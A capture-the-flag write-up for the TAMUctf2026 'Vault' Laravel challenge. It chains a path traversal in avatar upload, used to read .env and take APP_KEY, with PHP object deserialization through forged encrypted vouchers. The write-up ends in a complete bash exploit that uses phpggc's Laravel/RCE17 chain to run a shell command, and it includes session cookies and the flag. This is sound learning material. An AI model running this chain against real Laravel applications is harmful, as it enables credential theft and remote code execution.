🚩 TAMUctf2026 - Vault

Executive Summary

  • OS: Linux
  • Key Technique: A path traversal vulnerability is found inside the /update/avater endpoint that allow leakage of environment variables. With the known value of the variable APP_KEY, we can craft an arbitrary redeem with a malicious payload that contains a malicious PHP object that is then passed to the decrypt() and deserialized, triggering RCE.
  • Status: Completed

Reconnaissance

Dockerfile

FROM node:24-alpine AS node-builder
 
WORKDIR /var/www
COPY src/ .
RUN npm install
RUN npm run build
 
FROM php:8.2-fpm AS php-builder
 
ENV DEBIAN_FRONTEND=noninteractive
 
RUN apt-get update && apt-get install -y --no-install-recommends \
    curl \
    unzip \
    libpq-dev \
    libonig-dev \
    libssl-dev \
    libxml2-dev \
    libcurl4-openssl-dev \
    libzip-dev \
    libsqlite3-dev \
    && docker-php-ext-install -j$(nproc) \
    pdo_sqlite \
    zip \
    bcmath \
    soap \
    && apt-get autoremove -y && apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
WORKDIR /var/www
 
COPY src/ /var/www
 
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \
    && composer install --no-dev --optimize-autoloader --no-interaction --no-progress --prefer-dist
 
FROM php:8.2-fpm AS production
 
ENV DEBIAN_FRONTEND=noninteractive
 
RUN apt-get update && apt-get install -y --no-install-recommends \
    nginx \
    supervisor \
    libzip-dev \
    libsqlite3-dev \
    libxml2-dev \
    && apt-get autoremove -y && apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
 
COPY --from=php-builder /usr/local/lib/php/extensions/ /usr/local/lib/php/extensions/
COPY --from=php-builder /usr/local/etc/php/conf.d /usr/local/etc/php/conf.d/
COPY --from=php-builder /usr/local/bin/docker-php-ext-* /usr/local/bin/
 
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
 
COPY nginx.conf /etc/nginx/sites-available/default
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
 
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
 
COPY --from=php-builder /var/www /var/www
COPY --from=node-builder /var/www/public /var/www/public
 
WORKDIR /var/www
 
RUN chown -R www-data:www-data /var/www \
    && chown -R www-data:www-data /var/log/nginx \
    && chown -R www-data:www-data /var/lib/nginx
 
COPY flag.txt /tmp/flag.txt
 
EXPOSE 80
 
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]

From the Dockerfile, we can see that the container is built through multiple stages, not much useful information other than the paths inside the container, the location of the flag and the PHP version being 8.2 wipe out the probability that (incomplete) PHP Archive Deserialization vulnerability exists.

entrypoint.sh

#!/bin/sh
set -e
 
php artisan key:generate --force
php artisan config:cache
php artisan route:cache
php artisan view:cache
 
touch database/database.sqlite
chown www-data:www-data database/database.sqlite
php artisan migrate --force
 
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
 
exec "$@"

We can see that the backend is using SQLite and the flag is moved to the root directory with the format $HEX-flag.txt

Other Config Files

Other config files does not really contain any useful information, it seems like the vulnerability lies inside the code logic so I’ll take a look at the source code.

web.php

<?php
 
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use App\Http\Controllers\DashboardController;
use App\Http\Controllers\AccountController;
use App\Http\Controllers\MiningController;
use App\Http\Controllers\VouchersController;
use App\Http\Controllers\TransactionsController;
 
Route::middleware(['auth'])->group(function() {
    Route::get('/', [DashboardController::class, 'index'])->name('dashboard');
    Route::get('/account', [AccountController::class, 'index'])->name('account');
    Route::get('/mining', [MiningController::class, 'index'])->name('mining');
    Route::get('/vouchers', [VouchersController::class, 'index'])->name('vouchers');
    Route::get('/transactions', [TransactionsController::class, 'index'])->name('transactions');
    Route::get('/avatar', [AccountController::class, 'getAvatar']);
 
    Route::post('/account', [AccountController::class, 'update']);
    Route::post('/account/avatar', [AccountController::class, 'updateAvatar']);
    Route::post('/mining/collect', [MiningController::class, 'collect']);
    Route::post('/transactions', [TransactionsController::class, 'send']);
    Route::post('/vouchers', [VouchersController::class, 'create']);
    Route::post('/vouchers/redeem', [VouchersController::class, 'redeem']);
});
 
Route::get('/login', [AuthController::class, 'index'])->name('login');
Route::get('/register', [AuthController::class, 'index'])->name('register');
Route::get('/logout', [AuthController::class, 'index'])->name('logout');
 
Route::post('/login', [AuthController::class, 'auth']);
Route::post('/register', [AuthController::class, 'register']);
 
Route::delete('/logout', [AuthController::class, 'logout']);

This contains the information of every endpoint alongside with their controller inside the system. Let’s take a look at each controllers and map out their roles inside the system.

Controllers

Account Controller:

center

The updateAvatar() method correspond to the /account/avatar endpoint takes a user input image file that is no larger than 2048 kilobytes.

It then change the avatar to the new one.

The user can then access the image through the /avatar endpoint.

There is a vulnerability though, that is in the lines:

$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
 
$user->avatar = $path;
$user->save();

The back-end trusts the user-input full_path attributes inside the request and append it to the $path variable directly without sanitization and store it as the user’s avatar path.

If the user input the $_FILES['avatar']['full_path'] = ../../../../../../../../etc/passwd, the appended $path variable will point to the target file and the user can read the file content by making request to /avatar as we mentioned.

We can practically read any files now, however, the file is reading the flag is not possible because of the naming format of the flag file.

Vouchers Controller

center

The create method shows us how a code was created.

center

Later in the redeem function, we see that the input code from the user is then passed to the decrypt() method.

Apparently, the decrypt() method actually deserializes the input, this hints us towards (incomplete) PHP Object Injection. Based on the the app.php file, we can see that the encryption key of the method actually derived from the APP_KEY environment variable which we can extract using the Path Traversal vulnerability that we found above.

center

With this, we can reverse engineer the process of forging a valid redeem code and forge a malicious redeem code to move the flag in the root folder to another file that has more recognizable naming format.

Exploitations

Proof of Concept:

#!/bin/bash
 
# ==========================================
# TARGET CONFIGURATION
# ==========================================
BASE_URL="https://7bae4683-9569-4927-906b-4c9aa68ae7c5.tamuctf.com"
CSRF_TOKEN="DF9G9rQyN0gLzzVFSamrrq0pEflD6Foy6wPflw8V"
COOKIES="XSRF-TOKEN=eyJpdiI6ImhURTNFSk40Tk1tM1hSaWNDUkNsWkE9PSIsInZhbHVlIjoibzFYUEZOdW5aMkJRdFBodkVNdXpQbUVXdmZ4cUk1SWo2aS82aHVUTVpmUVZLcm15MG81VnhwbVkvN01yTVE3UmtxTFovN0k5MlcrcTc0U05SbGJiTVFkbnpsUk54SDYrakpiR0k1WjdZMG5TS3ZjTHJrZUJtTlhZTUtqVmxTYjgiLCJtYWMiOiJjNTRkODhmMWUxMGI3NWZjZWQwZGJhZGZiMGE3OWY0NTRhM2E0MDZkOTZlNTk5N2I3MzM4YzU4NGJhMTViYmU2IiwidGFnIjoiIn0%3D; laravel-session=eyJpdiI6Iko4RzZGNko4U2JRaUtnM0ppNVpETHc9PSIsInZhbHVlIjoiVzdXQnhhRkVRWXdWNlVjY2tIRHNiSFo4cWxSOFdVZHpubXNqYnJEYlRETS9oYURzVkNlZWF4aGdUamx3b29WeEhNSTBvMnAxYmZwM2NLdlFDbUh5SUdlRU1mTFJ3WWtCc1JmcGYvSFk0ZXBLWVFKRm52Q1VBakpjc2RjanFHVTEiLCJtYWMiOiIxMDQ4MGU2MTcyOTE3MjE5YTM2YjI1ZDMzZWNmZTY5YTIxNzk5ODNhZTEwNzI5Njc2ZmVmNTY1YTYzOGM0MWYyIiwidGFnIjoiIn0%3D"
CMD="sh -c 'cat /*-flag.txt > /var/www/public/flag.txt'"
 
# ==========================================
# STEP 1: LFI via Avatar Upload
# ==========================================
echo "[*] Step 1: Poisoning avatar path via LFI..."
 
# An arbitrary GIF file
echo "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" | base64 -d > valid_payload.gif
 
# Upload the payload (silencing output with -s, keeping -k for SSL bypass)
curl -s -k -X POST "$BASE_URL/account/avatar" \
     -H "Cookie: $COOKIES" \
     -F "_token=$CSRF_TOKEN" \
     -F "avatar=@valid_payload.gif;filename=../../../../../../../../../var/www/.env;type=image/gif" > /dev/null # Change the filename field for Path Traversal
 
rm valid_payload.gif
echo "[+] Avatar database record overwritten."
 
# ==========================================
# STEP 2: Extract Live APP_KEY
# ==========================================
echo "[*] Step 2: Fetching .env and extracting APP_KEY..."
 
# Send GET request to /avatar, grep for APP_KEY, and split the string to get the base64 value
APP_KEY=$(curl -s -k -H "Cookie: $COOKIES" "$BASE_URL/avatar" | grep 'APP_KEY=' | cut -d':' -f2)
 
if [ -z "$APP_KEY" ]; then
    echo "[-] Failed to extract APP_KEY. The Path Traversal may have failed, or your session expired."
    exit 1
fi
 
echo "[+] Success! Extracted APP_KEY: $APP_KEY"
 
# ==========================================
# STEP 3: Generate Encrypted POP Chain
# ==========================================
echo "[*] Step 3: Generating and encrypting POP chain payload..."
 
cat << 'EOF' > encrypt_payload.php
<?php
$key = base64_decode($argv[1]);
$payload = file_get_contents('php://stdin');
 
$iv = random_bytes(16);
$value = openssl_encrypt($payload, 'AES-256-CBC', $key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $key);
 
$json = json_encode(compact('iv', 'value', 'mac'), JSON_UNESCAPED_SLASHES);
echo base64_encode($json);
?>
EOF
 
git clone https://github.com/ambionics/phpggc.git
cd phpggc
 
# Pipe the phpggc output directly into our custom encryption script using the extracted key
PAYLOAD=$(./phpggc Laravel/RCE17 system "$CMD" | php encrypt_payload.php "$APP_KEY")
rm encrypt_payload.php
 
# ==========================================
# STEP 4: Trigger RCE & Fetch Flag
# ==========================================
echo "[*] Step 4: Sending malicious voucher to trigger RCE..."
 
curl -s -k -X POST "$BASE_URL/vouchers/redeem" \
     -H "Cookie: $COOKIES" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "_token=$CSRF_TOKEN" \
     -d "voucher=$PAYLOAD" > /dev/null
 
echo "[+] Exploit dispatched! Reading flag from public directory:"
echo "--------------------------------------------------------"
 
sleep 1
curl -s -k "$BASE_URL/flag.txt"
echo -e "\n--------------------------------------------------------"

Loot & Flags

Flag: gigem{142v31_d3c2yp7_15_d4n9320u5_743f9c}